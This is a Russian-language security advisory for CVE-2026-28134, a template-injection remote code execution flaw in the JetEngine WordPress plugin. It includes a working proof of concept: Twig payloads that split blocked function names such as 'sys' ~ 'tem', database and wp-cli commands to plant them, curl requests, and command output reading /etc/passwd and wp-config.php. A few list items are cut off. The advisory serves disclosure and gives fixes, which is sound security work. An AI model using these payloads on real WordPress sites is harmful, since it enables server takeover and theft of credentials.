
JetEngine <= 3.7.2 - Аутентифицированное (Contributor+) удалённое выполнение кода
Дата: 11 марта 2026 г. Оценка CVSS: 8.8 (High) Вектор CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Затронутый плагин: JetEngine <= 3.7.2 Slug плагина: jet-engine CVE: CVE-2026-28134 Статус: Private Протестированная версия WordPress: Latest
CVE-2026-28134 — это уязвимость удалённого выполнения кода в WordPress-плагине JetEngine, затрагивающая все версии до 3.7.2 включительно. Уязвимость позволяет аутентифицированным атакующим с уровнем доступа Contributor и выше выполнять произвольные команды ОС на сервере путём внедрения вредоносного Twig-шаблона в запись JetEngine Listing.
Цепочка атаки объединяет три слабости:
~ в Twig для разделения заблокированных имён функций на токены.✅ УЯЗВИМОСТЬ ПОДТВЕРЖДЕНА — Полное RCE достигнуто
Подтверждённое воздействие:
www-data/etc/passwd, wp-config.php)JetEngine предоставляет тип представления Listing на основе Twig/Timber. Когда компонент timber_views включён, записи Listing с _listing_type = twig имеют мета-поле записи _jet_engine_listing_html, которое рендерится как живой Twig-шаблон через Timber. Конвейер рендеринга доступен через неаутентифицированное AJAX-действие wp_ajax_nopriv_jet_engine_ajax; атакующему требуется лишь возможность создавать или изменять запись JetEngine Listing (минимум роль Contributor).
ajax-handlers.php регистрирует AJAX-действие как для аутентифицированных, так и для неаутентифицированных пользователей:
// ajax-handlers.php:29
add_action( 'wp_ajax_jet_engine_ajax', array( $this, 'handle_ajax' ) );
add_action( 'wp_ajax_nopriv_jet_engine_ajax', array( $this, 'handle_ajax' ) );
Обработчик выполняет любой публичный метод класса на основе $_REQUEST['handler'] без проверки nonce или прав:
// ajax-handlers.php:96-104
public function handle_ajax() {
if ( ! isset( $_REQUEST['handler'] ) || ! is_callable( array( $this, $_REQUEST['handler'] ) ) ) {
return;
}
if ( ! empty( $_REQUEST['page_settings'] ) ) {
foreach ( $_REQUEST['page_settings'] as $key => $value ) {
$_REQUEST[ $key ] = $value;
}
}
call_user_func( array( $this, $_REQUEST['handler'] ) );
}
Вызов listing_load_more является общедоступным и запускает конвейер рендеринга Listing.
Цепочка вызовов listing_load_more → get_listing → frontend->get_listing_item достигает:
// frontend.php:302
$content = apply_filters( 'jet-engine/listing/content/' . $listing_view, null, $listing_id );
Когда $listing_view = 'twig', срабатывает Jet_Engine\Timber_Views\Render::get_listing_content(), который читает Twig-шаблон из мета-поля _jet_engine_listing_html записи и передаёт его напрямую в render_html():
// timber.php:150
$template = $twig->createTemplate(
$this->sanitize_html(
do_shortcode( $this->sanitize_twig_content( $html ) )
)
);
return $template->render( $context );
Twig рендерит без песочницы. Единственная защита — sanitize_twig_content().
sanitize_twig_content() удаляет опасные имена PHP-функций с помощью regex-шаблонов с границами слов, а затем проверяет, был ли шаблон изменён:
// timber.php:256-262
$dangerous_funcs = [
'passthru', 'exec', 'eval', 'system', 'shell_exec', 'proc_open', 'popen',
'assert', 'file_put_contents', 'file_get_contents', 'unlink', 'fopen', 'fwrite'
];
foreach ( $dangerous_funcs as $func ) {
$input = preg_replace( '/\b' . preg_quote( $func, '/' ) . '\b/i', '', $input );
}
Шаблон \bsystem\b соответствует литеральному токену system. Он не соответствует "sys" ~ "tem", потому что это два отдельных строковых токена в кавычках. Twig вычисляет конкатенацию во время рендеринга, создавая "system" только в памяти — исходный шаблон никогда не содержит заблокированное слово.
Обходящая полезная нагрузка:
{{ fn("sys" ~ "tem", "id") }}
Санитайзер видит fn, "sys", ~, "tem", "id" — ни одно из этих значений не входит в блок-список. Он пропускает шаблон без изменений.
fn() в TimberTimber регистрирует обёртки вызова PHP напрямую в окружении Twig:
// timber-library/lib/Twig.php:42-43
$twig->addFunction( new Twig_Function( 'function', array( &$this, 'exec_function' ) ) );
$twig->addFunction( new Twig_Function( 'fn', array( &$this, 'exec_function' ) ) );
// timber-library/lib/Twig.php:290-297
public function exec_function( $function_name ) {
$args = func_get_args();
array_shift( $args );
if ( is_string( $function_name ) ) {
$function_name = trim( $function_name );
}
return call_user_func_array( $function_name, ( $args ) );
}
{{ fn("sys" ~ "tem", "id") }} преобразуется в call_user_func_array("system", ["id"]) — выполнение произвольной команды ОС.
timber_views (Настройки JetEngine > Производительность > Timber/Twig Views).Создайте запись JetEngine Listing со вредоносным Twig-шаблоном, хранящимся в мета-данных записи:
-- Set listing type to twig
UPDATE wp_postmeta SET meta_value = 'twig'
WHERE post_id = <LISTING_ID> AND meta_key = '_listing_type';
-- Inject SSTI payload (sanitizer bypass via ~ concatenation)
UPDATE wp_postmeta SET meta_value = '{{ fn("sys" ~ "tem", "id") }}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_html';
-- Set listing source
UPDATE wp_postmeta SET meta_value = '{"listing_source":"posts","post_type":"post"}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_data';
Или через wp-cli (от имени пользователя Contributor):
wp post meta update <LISTING_ID> _listing_type twig
wp post meta update <LISTING_ID> _jet_engine_listing_html '{{ fn("sys" ~ "tem", "id") }}'
curl -s -X POST 'http://TARGET/wp-admin/admin-ajax.php' \
-d 'action=jet_engine_ajax' \
-d 'handler=listing_load_more' \
-d 'widget_settings[lisitng_id]=<LISTING_ID>' \
-d 'widget_settings[columns]=1' \
-d 'query[post_type]=post' \
-d 'query[posts_per_page]=1' \
-d 'query[paged]=1' \
-d 'page_settings[page_id]=1'
{
"success": true,
"data": {
"html": "<div class=\"jet-listing-grid__item jet-listing-dynamic-post-6\" data-post-id=\"6\">uid=33(www-data) gid=33(www-data) groups=33(www-data)\n</div>"
}
}
Заблокированная строка passthru разделена как "pas" ~ "sthru":
curl -s -X POST 'http://TARGET/wp-admin/admin-ajax.php' \
-d 'action=jet_engine_ajax' \
-d 'handler=listing_load_more' \
-d 'widget_settings[lisitng_id]=<LISTING_ID>' \
-d 'widget_settings[columns]=1' \
-d 'query[post_type]=post' \
-d 'query[posts_per_page]=1' \
-d 'query[paged]=1' \
-d 'page_settings[page_id]=1'
Шаблон установлен в {{ fn("pas" ~ "sthru", "cat /etc/passwd") }}:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
Шаблон {{ fn("pas" ~ "sthru", "grep DB_ /var/www/html/wp-config.php") }}:
define( 'DB_USER', getenv_docker('WORDPRESS_DB_USER', ...) );
define( 'DB_PASSWORD', getenv_docker('WORDPRESS_DB_PASSWORD', ...) );
define( 'DB_HOST', getenv_docker('WORDPRESS_DB_HOST', ...) );
wp_ajax_nopriv_jet_engine_ajax срабатывает для неаутентифицированных запросов. Диспетчер handle_ajax() не выполняет проверку nonce и не проверяет права перед вызовом listing_load_more. Таким образом, конвейер рендеринга доступен любому неаутентифицированному пользователю, как только существует вредоносная запись Listing.
Официальное расширение песочницы Twig (\Twig\Sandbox\SecurityPolicy) обеспечивает соблюдение белых списков на уровне движка — невозможно вызвать функции, которые явно не разрешены. JetEngine использует createTemplate() без песочницы. Единственная защита — предварительное сканирование строки, которое легко обойти.
Подход на основе блок-списка (/\bsystem\b/i) работает со статическим исходным текстом шаблона. Оператор конкатенации ~ в Twig создаёт строки во время выполнения. Любое заблокированное имя можно разделить: "pass" ~ "thru", "she" ~ "ll_exec", "sys" ~ "tem" и т.д. Надлежащая песочница отклонила бы вызов независимо от того, как было сконструировано имя функции.
call_user_func_arrayTwig-помощники fn() и function() в Timber являются безусловными мостами к PHP-функции call_user_func_array. Белого списка вызываемых функций нет. Можно вызвать любую PHP-функцию, доступную из веб-процесса.
| Дата | Событие |
|---|---|
| 2026-03-11 | Уязвимость обнаружена и подтверждена с полным PoC RCE |
| 2026-03-11 | Составлен отчёт |
| Файл | Проблема |
|---|
includes/components/listings/ajax-handlers.php:29 | зарегистрирован wp_ajax_nopriv_jet_engine_ajax — нет аутентификации или nonce |
includes/components/listings/ajax-handlers.php:104 | call_user_func(array($this, $_REQUEST['handler'])) — вызов произвольного публичного метода |
includes/components/timber-views/timber.php:150 | render_html() рендерит контролируемый атакующим Twig-шаблон без песочницы |
includes/components/timber-views/timber.php:189 | sanitize_twig_content() — строковый regex-блок-список, обходится разделением токенов |
timber-library/lib/Twig.php:42-43 | Timber регистрирует fn()/function() как Twig-обёртки для call_user_func_array |
| Исправление | Описание |
|---|
Добавить проверку nonce и прав в handle_ajax() | Требовать право edit_posts и валидный nonce для всех AJAX-диспетчеров |
| Включить песочницу Twig | Заменить строковый блок-список на \Twig\Sandbox\SecurityPolicy — явно разрешить безопасные функции и свойства |
Ограничить помощник fn() в Timber | Внести вызываемые функции в белый список или удалить fn()/function() из окружения Twig для ненадёжных шаблонов |
| Проверять принадлежность записи Listing | Проверять, что запрашивающий пользователь имеет право edit_post на запись Listing перед рендерингом её шаблона |